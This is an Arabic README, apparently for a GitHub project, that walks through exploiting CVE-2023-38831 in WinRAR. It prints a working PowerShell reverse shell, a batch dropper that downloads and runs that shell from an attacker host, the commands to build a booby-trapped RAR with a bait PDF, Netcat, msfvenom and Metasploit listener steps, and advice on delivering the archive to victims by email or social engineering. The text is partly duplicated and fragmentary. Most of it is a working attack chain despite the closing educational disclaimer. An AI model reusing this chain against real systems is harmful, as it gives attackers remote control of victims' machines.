
يحتوي هذا المشروع على سكربت بايثون يستغل **CVE-2023-38831**، وهي ثغرة أمنية في إصدارات **WinRAR** الأقدم من 6.23. يُنشئ الاستغلال **أرشيف RAR خبيث** يؤدي إلى تنفيذ تعليمات برمجية عشوائية عندما يفتح الضحية ملفًا يبدو غير ضار داخل الأرشيف (مثل ملف PDF).
technical_corpيحتوي هذا المشروع على سكربت Python يستغل CVE-2023-38831، وهي ثغرة في WinRAR في الإصدارات الأقدم من 6.23. يُنشئ الاستغلال أرشيف RAR خبيث يؤدي إلى تنفيذ كود تعسفي عند فتح الضحية لملف يبدو سليمًا داخل الأرشيف (مثل ملف PDF). تم استغلال هذه الثغرة بنشاط في هجمات حقيقية من أبريل حتى أغسطس 2023.
CVE-2023-38831 هي ثغرة في WinRAR تسمح للمهاجمين بتنفيذ كود تعسفي عندما يفتح الضحية أرشيفًا يحتوي على كلٍّ من ملف سليم ومجلد خبيث بنفس الاسم. عندما يتفاعل المستخدم مع الملف السليم، يعالج WinRAR بالخطأ محتويات المجلد الخبيث وينفّذ حمولة المهاجم.
.bat أو .exe).git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
سنستخدم ملفًا دفعيًا (batch) مدمجًا داخل أرشيف .rar لتنزيل وتنفيذ صدفة PowerShell عكسية مستضافة.
إنشاء سكربت الصدفة العكسية بـ PowerShell:
احفظ سكربت PowerShell التالي باسم reverse.ps1 على جهاز Kali Linux الخاص بك:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
استبدل <attacker_ip> بعنوان IP الخاص بجهاز Kali Linux لديك.
استبدل <attacker_port> برقم المنفذ الذي ستستمع عليه.
استضافة سكربت PowerShell على جهاز Kali Linux لديك:
انتقل إلى المجلد الذي تم حفظ سكربت PowerShell فيه:
cd /path/to/powershell-script
استخدم خادم HTTP الخاص بـ Python لاستضافة الملف على المنفذ 80:
python3 -m http.server 80
سيؤدي هذا إلى جعل reverse.ps1 متاحًا على http://<attacker_ip>/reverse.ps1.
أنشئ ملفًا دفعيًا (script.bat) يقوم بتنزيل وتنفيذ الصدفة العكسية بـ PowerShell:
@echo off
:: Open the legitimate PDF
start bait.pdf
:: Download and execute the PowerShell script
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
استخدام سكربت استغلال CVE-2023-38831 لتضمين الملف الدفعي:
قم بتشغيل سكربت استغلال WinRAR لتضمين الملف الدفعي في ملف PDF شرعي:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
ينشئ هذا الأمر ملف POC.rar، الذي يحتوي على script.bat الذي سينفّذ الصدفة العكسية.
ابدأ مستمع Netcat لالتقاط الصدفة العكسية:
nc -lvnp <attacker_port>
بمجرد أن يفتح الضحية ملف POC.rar وينفّذ ملف PDF، سيتم تشغيل script.bat. سيعمل السكربت على تنزيل وتنفيذ الصدفة العكسية بـ PowerShell من خادمك. ستستلم اتصال صدفة عكسية على مستمع Netcat لديك.
قم بإنشاء حمولة (إذا كنت تستخدم Metasploit): يمكنك إنشاء حمولة صدفة عكسية باستخدام msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
انقل ملف payload.exe الذي تم إنشاؤه إلى مجلد CVE-2023-WinRAR-Exploit
قم بتشغيل مولّد الاستغلال: شغّل سكربت Python لإنشاء ملف RAR خبيث:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: حدد ملف الطُعم (مثل nmapcheatsheet.pdf). -p: حدد ملف الحمولة (مثل script.bat أو payload.exe). -o: حدد اسم ملف الإخراج (مثل POC.rar).
تسليم ملف RAR إلى الضحية: يمكن تسليم الملف الناتج malicious_archive.rar إلى الضحية عبر الهندسة الاجتماعية أو مرفقات البريد الإلكتروني أو منصات مشاركة الملفات.
قم بإعداد مستمع (إذا كنت تستخدم Metasploit): على جهاز المهاجم، قم بإعداد مستمع لالتقاط الصدفة العكسية:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
هذا المشروع مخصص للأغراض التعليمية فقط. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا الاستغلال. يجب استخدامه فقط في بيئات مصرح بها أو في سيناريوهات اختبار الاختراق بموافقة كاملة.